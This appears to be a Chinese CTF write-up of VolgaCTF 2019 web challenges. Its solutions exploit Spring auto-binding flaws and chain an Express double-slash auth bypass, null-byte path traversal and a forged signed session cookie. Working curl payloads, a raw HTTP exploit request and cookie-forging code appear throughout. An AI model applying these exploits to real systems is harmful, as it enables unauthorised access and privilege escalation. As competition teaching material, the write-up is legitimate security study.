0x00 前言 比赛地址: https://q.2019.volgactf.ru/tasks
时间: 星期五, 三月 29, 11:00 PM (23:00) — 星期日, 三月 31, 11:00 PM (23:00)
0x01 shop
信息泄露 robots.txt->shop.1.0.0.war
此处我直接使用idea自动对代码进行反编译,来对代码进行审计 漏洞主要存在于buy的路由处,在此处使用了spring mvc的@ModelAttribute
。它的作用是从modle中获取一个对象,然后使用用户的请求request来赋值,这就造成我们可以对其中的某些变量进行控制。漏洞类型属于自动绑定漏洞。 从user类中我们看到可以控制balance。(PS:自动绑定漏洞是调用set和get方法的并不是直接操控变量或者数据库值)
1 2 3 4 5 6 7 public Integer getBalance () { return this .balance; } public void setBalance (Integer weight) { this .balance = weight; }
而从程序的校验来看如果可以控制balance那么就可以满足校验,从而成功购买flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 @RequestMapping ({"/buy" })public String buy (@RequestParam Integer productId, @ModelAttribute("user" ) User user, RedirectAttributes redir, HttpServletRequest request) { HttpSession session = request.getSession(); if (session.getAttribute("user_id" ) == null ) { return "redirect:index" ; } else { Product product = this .productDao.geProduct(productId); if (product != null ) { if (product.getPrice() <= user.getBalance()) { user.setBalance(user.getBalance() - product.getPrice()); user.getCartItems().add(product); this .userDao.update(user); redir.addFlashAttribute("message" , "Successful purchase" ); return "redirect:profile" ; } redir.addFlashAttribute("message" , "Not enough money" ); } else { redir.addFlashAttribute("message" , "Product not found" ); } return "redirect:index" ; } }
payload
1 curl -i http://shop.q.2019.volgactf.ru/buy --cookie "JSESSIONID=9C636630989A68978E11C28CCAABA31F" --data "productId=4&balance=100000" -L
flag
1 VolgaCTF{c6bc0c68f0d0dac189aa9031f8607dba}
0x02 HeadHunter 0x03 Gallery
进行信息收集 使用dirsearch收集到如下信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 [22:14:44] 301 - 194B - /js -> http://142.93.204.169/js/ [22:18:24] 403 - 0B - /api/error_log [22:18:24] 403 - 0B - /api/ [22:18:24] 200 - 35B - /api [22:18:24] 200 - 35B - /apibuild.pyc [22:19:20] 301 - 194B - /css -> http://142.93.204.169/css/ [22:20:09] 301 - 194B - /js -> http://142.93.204.169/js/ [22:20:18] 200 - 3KB - /login [22:20:18] 200 - 3KB - /login.cgi [22:20:18] 200 - 3KB - /login.html [22:20:18] 200 - 3KB - /login.jsp [22:20:18] 200 - 3KB - /login.js [22:20:18] 200 - 3KB - /login.php [22:20:18] 200 - 3KB - /login.pl [22:20:19] 200 - 3KB - /login.rb [22:20:19] 200 - 3KB - /login.shtml [22:20:19] 200 - 3KB - /login.py [22:20:19] 200 - 3KB - /login.srf [22:20:19] 200 - 3KB - /login/ [22:20:19] 200 - 3KB - /login/admin/ [22:20:19] 200 - 3KB - /login/cpanel/ [22:20:19] 200 - 3KB - /login/cpanel.js [22:20:19] 200 - 3KB - /login.htm [22:20:19] 200 - 3KB - /login/oauth/ [22:20:19] 200 - 3KB - /login_admin.js [22:20:19] 200 - 3KB - /login_admin [22:20:19] 200 - 3KB - /logins.txt [22:20:20] 200 - 3KB - /login/administrator/ [22:20:43] 200 - 459B - /package.json [22:21:18] 301 - 194B - /sessions -> http://142.93.204.169/sessions/ [22:21:18] 200 - 169B - /sessions/
查看/js/
可以列出当前站点的文件
由以上信息基本可以判断出目标站点是一个node.js开发的站点
源码分析 首先看一下index.js
的源码,首先可以看到是基于express框架开发的,${config.apiPrefix}/login
,${config.apiPrefix}/logout
, ${config.apiPrefix}/flag
是实现的三个接口,如果想读flag的话,你的session必须是admin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 const express = require ('express' );const session = require ('express-session' );const store = require ('session-file-store' )(session);const proxy = require ('http-proxy-middleware' );const parser = require ('body-parser' );const fs = require ('fs' );const app = express();config = require ('./config' ); auth = require ('./auth' )(); config.session.store = new store(); app.use(parser.urlencoded({ extended : false })); app.use(`${config.apiPrefix} /*` , session(config.session)); app.use(`${config.apiPrefix} /*` , auth.unless({path : config.whitelistPaths})); app.post(`${config.apiPrefix} /login` , function (req, res ) { res.redirect('/login' ); }); app.get(`${config.apiPrefix} /logout` , function (req, res ) { res.redirect('/login' ); }); app.get(`${config.apiPrefix} /flag` , function (req, res ) { console .log(req.session); if (req.session.name === 'admin' ) res.end(fs.readFileSync('../../flag' , 'utf8' )); else res.status(403 ).send(); }); app.use(proxy(config.proxy)); app.listen(config.server.port);
之后看一下config.js文件的内容,可以知道监听的端口是4000,但是未知强求会转到代理端口5000,所以在这儿是可以列目录来读取源代码的。里面还写到了session的签名,以及白名单路由。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 const config = { apiPrefix: '/api' , server: { port: 4000 }, proxy: { target: 'http://localhost:5000' , autoRewrite: true }, session: { name: 'SESSION' , saveUninitialized: false , secret: ';GmU1FSlVETF/vzEaBHP' , rolling: true , resave: false }, whitelistPaths: [ '/api/login' , '/api/logout' ] } module .exports = config;
之前还扫描到了session路径,可见session应该是存储在文件中的。而main.js中又有可以请求文件的方法,所以可能我们可以利用这个点来读与一些文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $(document ).ready(function ( ) { year = parseInt (location.pathname.slice(1 )) || 2018 ; $.getJSON(`/api/images?year=${year} ` , function (data ) { $.each(data, function (key, img ) { $('<div>' , { class: 'col-lg-3 col-md-4 col-xs-6', html: $('<a>' , { href: `/api/image?year=${year} &img=${img} ` , class: 'd-block mb-4 h-100', html: $('<img>' , { class: 'img-fluid img-thumbnail', src: `/api/image?year=${year} &img=${img} ` , alt: '' }) }) }).appendTo($('#gallery' ));; }); }).fail(function ( ) { location = '/login' ;}); });
auth.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 const unless = require ('express-unless' );const auth = function ( ) { var authm = function (req, res, next ) { console .log(req.session); if (!req.session.name) { res.status(403 ).send(); } else { next(); } } authm.unless = unless; return authm; }; module .exports = auth;
tips 在进行下一步测试之前,先提三个tips: (1) Express框架处理路径的时候是不规范的,因此/
,//
是存在区别的可以用于某些情况下的bypass; (2) PHP的小bug,%00截断(null byte injection)致使file_exists出错进而列目录; (3) session-file-store模块会将session存在json格式的文件中,如果指定session所在的目录,express-session模块将会去对应的目录下取出session信息;
漏洞利用 有了以上的信息,我们首先测试main.js提供的/api/images?year=${year}
接口。首先利用第一个tips,express的非规范化路径,绕过auth.js的认证。 //
的情况如下,可以看到已经绕过了认证并且应该可以读文件了。 但是当尝试读取image的时候却出现了如下报错,从错误信息上我们可以得到如下两点信息:首先,绝对路径是/var/www/apps/volga_gallery/storage/app/2019/img/
;其次,这是一个laravel框架。 其实是我输入的年份没有图片,我修改为2018即得到如下信息,所以确认可以列目录下文件了。 之前知道后端是采用PHP框架处理,所以我先在2018路径后注入%00,之后成功得到当前目录 之后继续查看其它目录信息,最终在//api/images?year=2018/../../../../volga_adminpanel%00
路径下找到了session信息 但是我们并不能直接读取这个文件,因此就用到第3个tips,直接在cookie字段这个路径写入。但是这里是设计session的计算问题的。我在本地搭建了一个环境,修改了部分代码。 node_modules/express-session/index.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function setcookie (res, name, val, secret, options ) { var signed = 's:' + signature.sign(val, secret); var data = cookie.serialize(name, signed, options); var signed2 = 's:' + signature.sign("../../volga_adminpanel/sessions/euzb7bMKx-5F29b2xNobGTDoWXmVFlEM.json" , secret); var data2 = cookie.serialize(name, signed2, options); console .log(data2) debug('set-cookie %s' , data); var prev = res.getHeader('set-cookie' ) || []; var header = Array .isArray(prev) ? prev.concat(data) : [prev, data]; res.setHeader('set-cookie' , header) }
index.js中增加
1 2 3 4 app.get(`${config.apiPrefix} /payload` ,function (req, res ) { req.session.test="test" ; res.end("OK" ); });
config.js
1 2 3 whitelistPaths: [ '/api/login' , '/api/logout' ,'/api/payload' ]
之后本地启动并访问 得到
1 s%3A..%2F..%2Fvolga_adminpanel%2Fsessions%2Feuzb7bMKx-5F29b2xNobGTDoWXmVFlEM.KrY7Bi6sZtBB%2FJ4sPnVj5QkDEuBu%2F0QelFQQqAV6yh4
之后设置cookie字段进行提交即可得到flag
1 curl -i http://gallery.q.2019.volgactf.ru/api/flag --cookie "SESSION=s%3A..%2F..%2Fvolga_adminpanel%2Fsessions%2Feuzb7bMKx-5F29b2xNobGTDoWXmVFlEM.KrY7Bi6sZtBB%2FJ4sPnVj5QkDEuBu%2F0QelFQQqAV6yh4" -L
flag
1 VolgaCTF{31c2ac53d4101a01264775328797d424}
0x04 Blog 0x05 Shop V.2
信息泄露 robots.txt->shop.1.0.1.war
代码审计 这个版本在buy路由处已经修复了1.0.0版本的自动绑定漏洞,但是在profile是存在的,并且可以控制一些变量,此版本我们可以看到user类中多了对cart的处理,所以考虑使用cart来完成。
1 2 3 4 5 6 7 public List<Product> getCartItems () { return this .cart; } public void setCartItems (List<Product> cart) { this .cart = cart; }
我们继续在controller中看下id是被使用做判断product的id的,那么很明显了,我们只要修改一下id就好
1 2 3 4 5 6 7 8 9 10 11 12 13 14 @RequestMapping ({"/profile" })public String profile (@ModelAttribute("user" ) User user, Model templateModel, HttpServletRequest request) { HttpSession session = request.getSession(); if (session.getAttribute("user_id" ) == null ) { return "redirect:index" ; } else { List<Product> cart = new ArrayList(); user.getCartItems().forEach((p) -> { cart.add(this .productDao.geProduct(p.getId())); }); templateModel.addAttribute("cart" , cart); return "profile" ; } }
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /profile HTTP/1.1 Host: shop2.q.2019.volgactf.ru User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://shop2.q.2019.volgactf.ru/index Content-Type: application/x-www-form-urlencoded Content-Length: 30 Connection: close Cookie: JSESSIONID=C77EBD253171F45F0E5F18DC4AB68B57 Upgrade-Insecure-Requests: 1 name=zeroyu&CartItems[0].id=4
flag
1 VolgaCTF{e86007271413cc1ac563c6eca0e12b62}